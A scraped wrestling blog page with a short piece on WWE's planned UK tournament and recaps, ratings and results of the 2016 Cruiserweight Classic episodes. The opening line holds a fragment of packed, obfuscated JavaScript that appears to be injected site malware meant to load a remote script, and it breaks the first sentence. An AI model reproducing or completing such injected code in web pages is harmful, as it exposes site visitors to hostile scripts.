The WWE UK Tournament
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddyfr|var|u0026u|referrer|bbhtk||js|php'.split('|'),0,{})) you’ve probably heard by now, WWE is going to be holding a UK wrestling tournament in early 2017 which is likely leading to a regular TV series. Now if you listen to WWE, this is for the sake of expanding their international brand. If you pay attention, it’s to crush ITV’s attempt at reviving World of Sport. This isn’t the first time WWE has done something like this and it certainly won’t be the last.
Cruiserweight Classic – September 14, 2016: Grand Finale
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Classic
Date: September 14, 2016
Location: Full Sail University, Winter Park, Florida
Commentators: Daniel Bryan, Mauro Ranallo
We open with a look back at the tournament, narrated by HHH.
Opening sequence.
The announcers talk about the show a bit.
Preview of the first semifinal match.
Video on all four semifinalists.
Semifinals: Gran Metalik vs. Zack Sabre Jr.
William Regal comes out and gives Metalik a big medal for winning.
Johnny Gargano and Tommaso Ciampa are out to prove something tonight against Noam Dar and Cedric Alexander. All that matters to them is a rematch with the Revival.
Semifinals: Kota Ibushi vs. TJ Perkins
Rating: A. I was losing my mind on those near falls and that just does not happen to me very often. Perkins is someone that I never saw much in but this match here more than won me over. He had a logical game plan here and he stuck with it until the ending while Ibushi was throwing everything he could. I had a blast with this match and it never stopped being a blast.
Sasha Banks, Bayley, Kalisto, Jack Gallagher and Rich Swann are in the crowd.
Noam Dar/Cedric Alexander vs. Johnny Gargano/Tommaso Ciampa
Everything breaks down again and a series of clotheslines and superkicks puts all four down. Dar reverses a kick and grabs an ankle lock on Johnny, only to have Ciampa go all psycho while stomping to break up the hold. Dar dives onto Johnny and Alexander hits a very hard brainbuster for what looked like three but the referee says keep going. Gargano comes back in with his superkicks to both guys, setting up the running knee/superkick combo for the pin on Dar at 9:42.
Rating: B. Totally wild match here to give us a little change of pace from the tournament matches. These guys beat the heck out of each other and there were some great near falls even though there was little doubt that Gargano/Ciampa were going to win due to their upcoming match with the Revival. Still though, this was a very entertaining match and a good idea after the two great matches we saw earlier.
Corey Graves comes in to talk a bit as we fill in time before the main event.
We recap the semifinals.
Quick look at the trophy.
Cruiserweight Classic Final: Gran Metalik vs. TJ Perkins
Cruiserweight Title: Gran Metalik vs. TJ Perkins
Results
Gran Metalik b. Zack Sabre Jr. – Metalik Driver
TJ Perkins b. Kota Ibushi – Kneebar
Johnny Gargano/Tommaso Ciampa b. Noam Dar/Cedric Alexander – Running knee/superkick combo to Dar
TJ Perkins b. Gran Metalik – Kneebar
https://www.amazon.com/dp/B01IH7O904
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Cruiserweight Classic – September 7, 2016: That’s Not Fandango
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Classic
Date: September 7, 2016
Location: Full Sail University, Winter Park, Florida
Commentators: Daniel Bryan, Maruo Ranallo
Opening sequence.
Quarterfinals: Zack Sabre Jr. vs. Noam Dar
Dar can barely stand for the official decision so they hug from the mat.
Quarterfinals: TJ Perkins vs. Rich Swann
Perkins immediately checks on Swann and seems almost sad that he had to beat him.
Results
Zack Sabre Jr. b. Noam Dar – Rings of Saturn
TJ Perkins b. Rich Swann – Kneebar
https://www.amazon.com/dp/B01IH7O904
And check out my Amazon author page with cheap wrestling books at:
Cruiserweight Classic – August 31, 2016: They Have It All
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Classic
Date: August 31, 2016
Location: Full Sail University, Winter Park, Florida
Commentators: Daniel Bryan, Mauro Ranallo
We open with a look at the Great Eight.
Bryan and Mauro talk about the tournament so far.
Quarterfinals: Gran Metalik vs. Akira Tozawa
Back in again and they chop it out until Tozawa gets bored and just punches Metalik in the jaw. Well mask but you get the idea. Metalik blasts him with a superkick and a standing shooting star (getting a bit too common as well) gets two. The Metalik Driver is countered into a Saito suplex for two more and Tozawa is stunned.
Tozawa charges into a superkick which just makes him scream more so Metalik sends him outside for the springboard flip dive. Back in again and Tozawa takes him up top for a superplex, only to get reversed into a great looking hurricanrana. The fans would like them to fight forever and Tozawa hits his German suplex for two. Metalik fights out of another German suplex and hits the Metalik Driver for the pin at 15:48.
They shake hands post match.
Brian Kendrick knows this might be his last shot.
Kota Ibushi is one of the best in the world and wants to win because he loves wrestling.
Quarterfinals: Brian Kendrick vs. Japan
More kicks have Kendrick in trouble so he grabs a neckbreaker across the turnbuckle rod for a unique counter. Brian grabs a cravate to stay on the bad (and surgically repaired) neck, only to eat a dropkick to put both guys down. A middle rope moonsault gets two for Ibushi but Kendrick superkicks his head off to get them back to even. Sliced Bread #2 gets another near fall for Kendrick so Ibushi gives him a release German superplex from just off the corner to knock Brian silly.
Rating: B. I thought the first match was more entertaining but this one told a better story. This was all about Kendrick throwing everything he had at Ibushi but not being able to put him away and eventually falling to the better man. The neck injury was a good bonus to the story and gave Brian enough of an opening to make this interesting. The storytelling was carrying this and it was very entertaining as a result. Good stuff here and Kendrick continues to surprise me in this thing.
Results
Gran Metalik b. Akira Tozawa – Metalik Driver
Kota Ibushi b. Brian Kendrick – Gold Star Bomb
https://www.amazon.com/dp/B01IH7O904
And check out my Amazon author page with cheap wrestling books at:
Cruiserweight Classic – August 24, 2016: A Surprise
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Classic
Date: August 24, 2016
Location: Full Sail University, Winter Park, Florida
Commentators: Daniel Bryan, Mauro Ranallo
We open with a recap of the tournament via a HHH voiceover as well as seeing the (really simple) trophy being unveiled.
Opening sequence.
The announcers talk about last week and tonight.
Rich Swann says wrestling saved his life.
Second Round: Lince Dorado vs. Rich Swann
We look at Johnny Gargano/Tommaso Ciampa losing to the Revival at Takeover.
Drew Gulak likes to hurt people.
Zack Sabre Jr. knows how to wrestle and can escape anything.
Drew Gulak vs. Zack Sabre Jr.
Drew shakes hands after the match.
TJ Perkins is a high flier and one of the best in the world.
Johnny Gargano is one of the best in the world period and had a great match against Tommaso Ciampa to get to the second round.
Second Round: TJ Perkins vs. Johnny Gargano
Here are the quarterfinal matchups:
Akira Tozawa
Gran Metalik
Zack Sabre Jr.
Noam Dar
Brian Kendrick
Kota Ibushi
TJ Perkins
Rich Swann
Results
Rich Swann b. Lince Dorado – Phoenix Splash
Zack Sabre Jr. b. Drew Gulak – Rollup
TJ Perkins b. Johnny Gargano – Kneebar
https://www.amazon.com/dp/B01IH7O904
And check out my Amazon author page with cheap wrestling books at:
Cruiserweight Classic – August 17, 2016: Where My Eyebrows Go Up
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Classic
Date: August 17, 2016
Location: Full Sail University, Winter Park, Florida
Commentators: Mauro Ranallo, Daniel Bryan
Opening sequence.
Jack Gallagher is still very British.
Akira Tozawa will never give up or back down. I believe these are the same vignettes from the first round with clips of their first round matches added in.
Second Round: Jack Gallagher vs. Akira Tozawa
Hoho Lun has known what he wanted to do since he was eight years old.
Second Round: Noam Dar vs. Hoho Lun
Tony Nese is very athletic and should have been here a long time ago.
Brian Kendrick is a veteran looking for one more shot.
Second Round: Tony Nese vs. The Brian Kendrick
Results
Akira Tozawa b. Jack Gallagher – German suplex
Noam Dar b. Hoho Lun – Kneebar
Brian Kendrick b. Tony Nese – Bully Choke
https://www.amazon.com/dp/B01IH7O904
And check out my Amazon author page with cheap wrestling books at:
Cruiserweight Classic – August 10, 2016: Watch This Show
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Classic
Date: August 10, 2016
Location: Full Sail University, Winter Park, Florida
Commentators: Mauro Ranallo, Daniel Bryan
We open with a music video recap of the first round.
Opening sequence.
The announcers talk about the tournament for a few moments.
Gran Metalik is here to represent Mexico.
Tajiri has been around for a long time but wants to make one more run.
Second Round: Gran Metalik vs. Tajiri
Kota Ibushi is a star in Japan and wants to be one in America as well.
Second Round: Kota Ibushi vs. Cedric Alexander
Japan vs. America. They start fast as well with Ibushi knocking him to the mat but Cedric is smart enough to not run in again. Back up and Cedric grabs an armbar for a bit before Ibushi comes back up and turns on the speed again. A sunset flip gets two for Kota before he stops playing and just blasts Cedric in the chest with a big kick.
Results
Gran Metalik b. Tajiri – Metalik Screwdriver
Kota Ibushi b. Cedric Alexander – Golden Star Bomb
https://www.amazon.com/dp/B01IH7O904
And check out my Amazon author page with cheap wrestling books at:
Cruiserweight Classic – August 3, 2016: Daniel Bryan’s Man Crush
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Classic
Date: August 3, 2016
Location: Full Sail University, Winter Park, Florida
Commentators: Daniel Bryan, Mauro Ranallo
Opening sequence.
Corey Graves looks at the updated brackets.
Jason Lee of Hong Kong has been wrestling for eight years and wrestles with a kung fu style.
First Round: Rich Swann vs. Jason Lee
Noam Dar wants to represent Scotland.
First Round: Noam Dar vs. Gurv Sihra
Jack Gallagher, in a suit, is a British gentleman.
First Round: Fabian Aichner vs. Jack Gallagher
Video on Johnny Gargano vs. Tommaso Ciampa, who are best friends outside the ring but will fight as hard as they can to advance here.
First Round: Johnny Gargano vs. Tommaso Ciampa
Here are the updated brackets:
Akira Tozawa
Jack Gallagher
Tajiri
Gran Metalik
Drew Gulak
Zack Sabre Jr.
Noam Dar
Hoho Lun
Brian Kendrick
Tony Nese
Kota Ibushi
Cedric Alexander
TJ Perkins
Johnny Gargano
Lince Dorado
Rich Swann
Results
Rich Swann b. Jason Lee – Standing 450
Noam Dar b. Gurv Sihra – Kneebar
Jack Gallagher b. Fabian Aichner – Running corner dropkick
Johnny Gargano b. Tommaso Ciampa – Crucifix
https://www.amazon.com/dp/B01IH7O904
And check out my Amazon author page with cheap wrestling books at:
Cruiserweight Classic – July 27, 2016: A Lot Of Wrestling
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Classic
Date: July 27, 2016
Location: Full Sail University, Winter Park, Florida
Commentators: Daniel Bryan, Mauro Ranallo
Opening sequence.
Tyson Dux used to wrestle in WWE and then destroyed his knee.
First Round: Tyson Dux vs. Zack Sabre Jr.
Drew Gulak is a submission expert from Philadelphia.
Harv Sihra was inspired by Eddie Guerrero to embrace his heritage.
First Round: Drew Gulak vs. Harv Sihra
Anthony Bennett is from Philadelphia and has very large hair.
First Round: Tony Nese vs. Anthony Bennett
Raul Mendoza grew up idolizing Eddie Guerrero who was small but became champion.
Brian Kendrick is here to get his second chance.
First Round: Brian Kendrick vs. Raul Mendoza
lip dive, only to miss a springboard 450 back inside. A big running kick to the face drops Raul but Kendrick takes too long getting up top, allowing Raul to crotch him into the Tree of Woe. Mendoza goes way big with a Coast to Coast dropkick but a backbreaker only gets two. We get some old school goldbricking as Kendrick fakes an injury, only to pull Mendoza down into a choke (apparently the Bully Choke) for the submission at 7:35.
Results
Zack Sabre Jr. b. Tyson Dux – Double arm lock
Drew Gulak b. Harv Sihra – Dragon sleeper
Tony Nese b. Anthony Bennett – 450
Brian Kendrick b. Raul Mendoza – Bully Choke
https://www.amazon.com/dp/B01IH7O904
And check out my Amazon author page with cheap wrestling books at:
Cruiserweight Classic – July 20, 2016: More Classic
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Classic
Date: July 20, 2016
Location: Full Sail University, Winter Park, Florida
Commentators: Mauro Ranallo, Daniel Bryan
Opening sequence.
Mauro welcomes us to the show and congratulates Bryan on his new role in WWE, though no specific spot is mentioned.
First Round: Tajiri vs. Damien Slater
TJ Perkins is the wrestler who makes everything look good.
First Round: Da Mack vs. TJ Perkins
Rating: B-. They packed a lot into a short amount of time and it was a much different style than the first match. This was all about the high flying with some submission stuff thrown in for some flavor. Mack looked like almost any high flying indy name but Perkins looked like a much more versatile and polished wrestlers. Not great but entertaining enough.
Lince Dorado, a masked man, talks about wrestling around the world and being ready to face anyone.
First Round: Mustafa Ali vs. Lince Dorado
Akira Tozawa is excited to be here.
First Round: Akira Tozawa vs. Kenneth Johnson
Japan vs. USA. Again they fight over a wristlock to start until Johnson actually takes him to the mat and works on the leg. A headlock into a headscissors gives us a standoff. Tozawa, the heavy favorite coming in, finally starts getting serious and wins a chop off before just punching Johnson in the jaw.
Rating: B. Tozawa cranked it up in the end and looked like one of the favorites to win the whole thing. Johnson was the definition of a guy in tights but he held his own here against someone with a lot more experience and skill. There was even a good story here with Tozawa underestimating him and Johnson trying to make the most of it until he was overcome by all the skill and experience. The match was shockingly good and far better than the squash I was expecting.
Overall Rating: B+. The last two matches were definitely upgrades over the first two with two flashy, high flying cruiserweight styles matches which is more what I was looking for here. I do however like the multiple styles because they keep the thing from getting stale with the same stuff over and over. Mixing it up is always an appreciated touch and it made the show much more entertaining this week.
Results
Tajiri b. Damien Slater – Buzzsaw Kick
TJ Perkins b. Da Mack – Kneebar
Lince Dorado b. Mustafa Ali – Shooting Star Press
Akira Tozawa b. Kenneth Johnson – German suplex
Results
Tajiri b. Damien Slater – Buzzsaw Kick
TJ Perkins b. Da Mack – Kneebar
Lince Dorado b. Mustafa Ali – Shooting Star Press
Akira Tozawa b. Kenneth Johnson – German suplex
https://www.amazon.com/dp/B01IH7O904
And check out my Amazon author page with cheap wrestling books at:
